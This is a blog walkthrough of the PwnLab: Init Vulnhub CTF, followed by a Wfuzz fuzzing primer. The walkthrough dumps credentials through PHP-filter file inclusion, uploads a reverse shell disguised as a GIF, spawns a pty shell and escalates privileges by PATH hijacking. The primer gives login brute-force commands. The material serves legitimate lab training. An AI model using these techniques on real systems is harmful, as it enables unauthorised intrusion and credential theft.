Welcome to another Vulnhub walkthrough – this time I’ll cover the PwnLab: Init CTF game! Let’s get hacking

Testlab environment

As ususal, this is my lab setup for this game:

  • Virtual Box
  • Parrot OS
  • Pwnlab: Init Vulnhub image
  • Test lab network CIDR

Discovering Vulnhub image

The very first thing we must do is to find the address of the target. Most Vulnhub images comes pre-configured to use DHCP. There are multiple ways to uncover its address. Here are a few options!

Netdiscover

This is my preferred way since I am using my own test network.

$ sudo /usr/sbin/netdiscover

Nmap Pingsweep

Another way could be to use Nmap and a ping sweep

$ nmap -sP network_range

Initial portscan

The premiss of the game is we are to know squat about the target. A sane way, albeit noisy, would be to portscan the target from here to eternity.

$ sudo nmap -p1-65535 -A -T4 -sS -oX nmap_scan.xml target_ip

Nmap reveals:

Port Service Note
80 HTTP Apache 2.4.10 (Debian)
3306 MySQL MySQL 5.5.47-0+deb8u1
58877 RDP

Nikto

The server runs a Apache webserver on port 80. Before even touching it using a web browser, let us try to yank some information from it:

$ nikto -output nikto.xml -host target_ip

Nikto found that:

  • It hosts a PHP based site
  • Cookie PHPSESSID isn’t protected by HTTP-Only flag
  • config.php is present
  • server has directory indexing turned on
  • login.php was found

Browsing the host

Visiting the server on port 80 in Firefox reveals that

  • It hosts an image uploading/sharing site
  • It has a login form
  • Page navigation happens through the GET parameter “page” which seems to follow the script name excluding .php file extension
  • config.php yields a blank page both when using the “page” parameter and when visiting it directly. Appears to be an inclusion going on here
  • It has directory indexing turned on, as seen if visiting the image folder

Attacking page GET parameter

Manual analysis of the web pages on this server gives us an impression that we’re dealing with a local file inclusion vulnerability (LFI) here. Given what we know about the page parameter, let’s try to get hold of config.php using PHP Filters!

Visiting, with Firefox:

http://target_ip/?page=php://filter/convert.base64-encode/resource=config

Notice that “resource=config” refers to page name. Just set it to any file you want to read. Looking at “config” gave me this Base64 encoded string:

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

This decodes to:

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Bingo! We got the credentials for the MySQL database.

Logging into MySQL

If we’re lucky we can access the database by simply logging into it straight from the command line.

$ mysql --user=root --password --database=Users --host=target_ip

Once in the first thing we’ll do is to find out if there are more databases we can breach into. The command “show” databases tells us there are just the stock “information_schema” and “users” available.

pwnlabinit-mariadb-show-database

Listing available tables in this database tells us there’s only one table available.

pwnlabinit-mariadb-using-database-listing-tables

Looking at the “users” table structure we see it only contain two fields, user and pass.

pwnlabinit-mariadb-describing-users

Selecting all contents in table reveals there are just three users registered. Since all passwords ends in “==” we can deduct they’re all Base64 encoded.

pwnlabinit-mariadb-select-everything-from-users

Decoded they read:

user pass Base64 decoded
kent Sld6WHVCSkpOeQ== JWzXuBJJNy
mike U0lmZHNURW42SQ== SIfdsTEn6I
kane aVN2NVltMkdSbw== iSv5Ym2GRo

Logging into the Intranet site

Most likely we can log in to the site using the credentials discovered. I chose to go with “kent” here since he was listed first. After logging in we see that the site doesn’t offer much beyond the upload form. So, let’s investigate the upload form by utilizing the same PHP filter exploit:

http://target_ip/?page=php://filter/convert.base64-encode/resource=upload

Yet another Base64 encoded string:

PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==

Which decodes to

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

From looking at the code we see that someone gave the code some care and attention by not allowing everything and the kitchen sink to be uploaded. Anyway, the upload filter only allows “.jpg”, “.jpeg”, “.gif” and “.png”. This is some important information right here!

Finding out if we can trigger a shell

At this point I am thinking we can hack this server by getting a shell. We know how the upload filter works. I am thinking we could bypass the filter using a PHP script disguised as a GIF! At this stage we must simply find out how to execute a PHP script with a .gif extension. Let’s investigate:

Visiting

http://10.0.0.109/?page=php://filter/convert.base64-encode/resource=index

Yielded

PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=

Which decodes to:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

How nice! The developer is using the “lang” cookie for an include! We can most likely use the “lang” cookie to trigger a shell! Let’s test if we can manipulate it!

In Burpsuite Repeater:

pwnlabinit-hacking-lang-cookie

GREAT!

Creating a shell

Getting hold of a PHP reverse shell is easy. Just copy it from somewhere in Parrot (or Kali), edit and ship it.

$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ mv php-reverse-shell.php shell.gif

After copying it we must make it appear as a proper GIF. Just add the string “GIF98” on the very first line of the shell. Then adjust LHOST and LPORT settings in shell according to taste and save.

Then we upload the shell

pwnlab-init-upload-shell

We can find the path to our shell by inspecting the source in Firefox

Pwnlab init finding path to shell.png
Copy the link and put a reference to it in the “lang” cookie. Burpsuite is great for manipulating cookies:

pwnlabinit-burpsuite-execute-shell

Just fiddle around until you can make it trigger. Then open a Netcat listener and re-trigger it.

Open a Netcat listener:

$ nc -lvp 7771

If this turns out OK we’ll now have a reverse connection! With the reverse connection in place, let’s start listing out the home directories:

pwnlabinit-shell-listing-home-dir.png

In this stage it’s pointless to list the content of the home folders. Instead let’s try to break into some accounts. The very first thing is to issue a simple “su” attempt. We already got the credentials from the database breach:

pwnlabinit-shell-su-failed

“su” fails since it must be done from a terminal. Let’s try to spawn another shell this time using Python:

$ python -c 'import pty;pty.spawn("/bin/bash")'

pwnlabinit-shell-python

That worked. Let’s try “su” again:

pwnlabinit-shell-su-kent.png

Nice. Next step is to “su” through all users we got credentials for and list all home directories. Ending up in Kane’s home directory we find an executable program (“msgmike”).

pwnlabinit-listing-kanes-home.png

Running “msgmike” reveals that the program calls “cat” without full path.

pwnlabinit-msgmike-error

This means we can make a version of our own and put it to PATH hoping the program will use that instead. Before doing that, let’s see if the program can reveal something else:

pwnlabinit-shell-strings-msgmike

Nope. Nothing. Nada. Zip. Let’s move on overriding the “cat” command.

Overriding cat command

The overall strategy is to make a simple script that calls “sh” and name this script “cat”. We place this script in /tmp and we register the path to it in PATH hoping the “msgmike” program will pick it up.

Making a cat

First we make the new and improved “cat” script and store it in /tmp:

$ echo "#\!/bin/sh" > /tmp/cat
$ echo "/bin/sh" >> /tmp/cat

Manipulating path

The we look at what’s in PATH. This command can also be used to verify any alterations made is dandy:

$ echo $PATH

pwnlabinit-shell-echo-path

Adding /tmp to PATH:

$ export PATH=/tmp:$PATH

pwnlabinit-shell-path-export

Yet another shell

Let’s run the msgmike again to see if it picks up the new and improved “cat” command:

pwnlabinit-shell-improved-cat-and-user-info

Look at that, we’re Mike! Let’s move over to his home and list the content:

pwnlabinit-shell-listing-mikes-home

Ok. Obviously we need to analyse that msg2root file

pwnlabinit-strings-msg2root

Hey look at that, a command with a format argument. Let’s exploit that:

pwnlabinit-exploiting-msg2root

And then we were ROOT! Let’s mover over to ROOT’s home folder and see if we can end this game!

$ cd /root
$ ls
$ /bin/cat flag.txt

And so the game ends.

pwnlabinit-flag

Closing

This was a easy and fun challenge and I also enjoyed making this walkthrough! If you enjoyed it, please share and contact me on Twitter (@reedphish)!

Fuzzing – CTF primer

Fuzz testing or fuzzing is a technique commonly used in software testing to find how software responds to invalid, unexpected or random data. The targeted software may fail, give unexpected output or misbehave processing the randomized input data. Input that leads to such situations is then addressed and rectified.

The term fuzz testing originates from a 1988 class project testing the reliability of Unix programs by bombarding them with random data until they crashed. As the years passed on new techniques emerged and crashing software isn’t lo longer the main goal – nowadays it’s used for finding defects.

Fuzz testing isn’t only a technique to find defects with intention to make better software. Even hackers has found their use of this technique. The main approach is the same – hit a target with random data to see how it react.

Today we’ll be looking at a tool called Wfuzz and we’ll do so by applying it to a well-known CTF game!

Wfuzz  – Web application Bruteforcer

There are many fuzzers available on the market, both free and commercial. One such free fuzzer is Wfuzz – a CLI tool designed for bruteforcing web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP, etc), bruteforce forms parameters (User/Password), fuzzing, etc. It’s a handy tool to know.

Basic usage

Help

If you are completely new to this tool I advice you to seek out the help section. You can do so by issuing the following command:

$ wfuzz -h

As you’ll notice the help section is a bit massive. Below is an overview of the options I use the most:

Option Description
-c Colored output
-t Concurrent connections
-s Time delay between connections
-z Payload
-w Wordlist
-d Postdata
-H Headers
–hc/hl/hw/hh Filter/hide responses with the specified code/lines/words/chars
–sc/sl/sw/sh Filter/show responses with the specified code/lines/words/chars
–html

Discovering hidden resources

Wfuzz is a great tool for finding hidden resources on a web server. Here we’ll try to discover hidden resources (scripts, directories etc) on target_site using a path list (file) as input. The path list I am using is custom-made and contains some keywords related to well-known URL paths. Wfuzz will read the input line by line and insert the read value into wherever we put the “FUZZ” keyword and then fire off a request to said path. In the following command I have added a filter to remove any requests resulting in an HTTP 404.

$ wfuzz -c --hc 404 -z file,url_paths.txt http://target_ip/FUZZ

Aimed at one of my test machines this command yields the following:

Wfuzz URL Bruteforce

As we can see the web server returns HTTP 500 in some cases. Interesting!

POST requests

So we made a nice discovery using the last command. Moving on we can also manipulate POST requests. In the following example I am reusing the same target IP on a different machine. The following is a command to bruteforce WordPress login for the Mr. Robot 1 Vulnhub CTF game:

$ wfuzz -c -d "log=elliot&pwd=FUZZ" -w fsocity.dic --hs ERROR http://target_ip/wp-log

Wfuzz POST bruteforce

Consuming large dictionaries as what is offered in the Mr. Robot 1 game requires a lot of requests. This means it’ll be noisy and it’ll takes forever to complete. For this example I’ve just sorted the dictionary and removed duplicates to speed things up a bit.

Headers

Moving on to the last example. It is also possible to work with the HTTP headers directly. In this example I’ll try to uncover if the Mr. Robot 1 server responds to other host domain names:

$ wfuzz -c -H "Host:FUZZ,Cookie:id=1234" -w hosts.txt http://target_ip

In this example I am using a small list of domain names I’ve concocted and I expect it to fail. I would’ve also tried to fuzz a cookie but I decided not to since the same theory applies to this scenario – just apply the FUZZ keyword where you need it. The command yields:

Wfuzz header fuzzing

Nothing interesting found.

Wfuzz example gallery

I’ve made a gallery of the screenshots listed in case you can’t see the outputs properly. Just click on the screenshots and they should pop up in larger format.

Conclusion

Wfuzz is a handy tool. My peek into this marvelous tool only scratches the surface of what’s possible. From here you could easily extend and build new commands. For instance, what about trying to add more payloads into the equation?

Happy gaming and stay on the right side of the law!

Other tools

There are plenty of tools on the market. Here’s a few:

And here’s two resources listing even more fuzzers:

Resources